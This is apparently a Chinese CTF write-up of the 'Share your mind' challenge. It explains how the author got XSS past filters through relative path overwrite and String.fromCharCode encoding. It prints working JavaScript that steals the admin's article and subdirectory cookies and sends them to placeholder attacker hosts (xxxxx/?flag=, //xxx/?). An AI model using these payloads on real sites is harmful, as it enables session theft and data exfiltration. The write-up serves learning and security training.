Share your mind

这题必须要写一下自己的踩坑经历,首先进去浏览一下页面功能,有个提交bug页面的地方,还有个可以新建文章的地方

最后就是浏览文章(但是只能浏览自己发的文章),首先想到的就是xss+csrf,新建一个文章引用一段JS然后发给bot,然后ajax请求admin的文章发回来。可是按照这个思路我们发现在新建文章页面我们的<>被过滤了,所以我们不能直接构造一个js。猜想能不能在report页面里进行xss,但是发现存在过滤,只能像自己网站的地址发起请求,但是”居然”可以绕过!!!!!!,payload:

http://39.107.33.96:20000/index.php/report/<script src="xxxxxx.com"></script>

于是无尽的踩坑之旅开始了,首先是bot返回结果没有cookie,一开始也没在意以为设置了httponly,(后来大致明白bot过程了,先check url-未读,然后add_cookie-已读,这里直接用<script>标签其实是在add_cookie之前就返回了所以不带cookie)让他AJAX请求访问admin的文章,代码如下

var a = new XMLHttpRequest();
a.open('GET', 'index.php/view/article/1', false);
a.send(null);
b = a.responseText;
(new Image()).src = 'http://xxxxx/?flag=' + escape(b);

结果bot返回结果是未登录,然后我就很懵逼,后来给了hint1:phantomjs/2.1.1结果这提示给了以后我就以为是日bot,各种谷歌找2.1.1的漏洞,一直到下午出了hint2:漏洞点不在report…推翻了一个下午的努力成果。一直到晚上我才想起来index页面有一个../static/js/bootstrap.min.js的相对路径引用

想起来寒假时候看的rpo,关于rpo的原理这里不想赘述了,给个链接

https://open.appscan.io/article-462.html

这里文章查看页面没有引用DOCTYPE html,所以存在rpo漏洞,新建一个文章,文章title为空(title不为空的时候会添加一个 <h1> 标签导致浏览器解析js的时候报错
内容输入js代码比如alert(1)

内容输入js代码比如alert(1)


然后访问这

http://39.107.33.96:20000/index.php/view/article/635/..%2f..%2f..%2f..%2findex.php

把635替换成你的文章代码,这里对于服务器来说访问的是

http://39.107.33.96:20000/index.php

但是对于浏览器来说他访问的就是

http://39.107.33.96:20000/index.php/view/article/635/..%2f..%2f..%2f..%2findex.php

然后这个时候浏览器会发起js请求去请求原本index.php会加载的../static/js/bootstrap.min.js就是向

http://39.107.33.96:20000/index.php/view/article/635/..%2f..%2f..%2f..%2findex.php/../static/js/bootstrap.min.js

相当于

http://39.107.33.96:20000/index.php/view/article/635/static/bootstrap.min.js

这里访问的结果和访问

http://39.107.33.96:20000/index.php/view/article/635/

也就是你的文章的内容是一样的(不明白的可以自己本地测试),不同的是浏览器是以js引擎去解析你的文章的,也就是会把你的文章当成一段js去执行。所以这里就可以绕过<>的过滤执行xss了。

所以我们新建一个文章内容为

var a = new XMLHttpRequest();
a.open('GET', 'yourvpsip', false);
a.send(null);

然后这里发现居然没有发起请求,查看源码发现是过滤了”和’,然后我就自作聪明的用反引号,然后我就陷入了无尽的玄学道路,我发现本地浏览器,vsp就可以收到请求

但是提交给bot就收不到请求,然后我就一直在这里卡了超级长的时间,期间还问了出题人,bot等问题…直到晚上用String.fromCharCode才解决了这个玄学问题(这个点真心卡了我好久),后面就比较简单了收到请求后发现cookie有提示

联想到国赛的一道读取子目录cookie的题目

https://www.lorexxar.cn/2017/07/11/guosai2017/

脚本拿来改了改就可以get子目录cookie了

var iframe = document.createElement("iframe");
iframe.src = "/QWB_f14g/QWB";
iframe.id = "frame";
document.body.appendChild(iframe);
iframe.onload = function (){
      var c = document.getElementById('frame').contentWindow.document.cookie;
    var n0t = document.createElement("link");
    n0t.setAttribute("rel", "prefetch");
    n0t.setAttribute("href", "//xxx/?" + c);
    document.head.appendChild(n0t);
}

然后把所有引号之间的内容用String.fromcode()编码一下

本文章首发在 网安wangan.com 网站上。

上一篇 下一篇
讨论数量: 0
只看当前版本


暂无话题~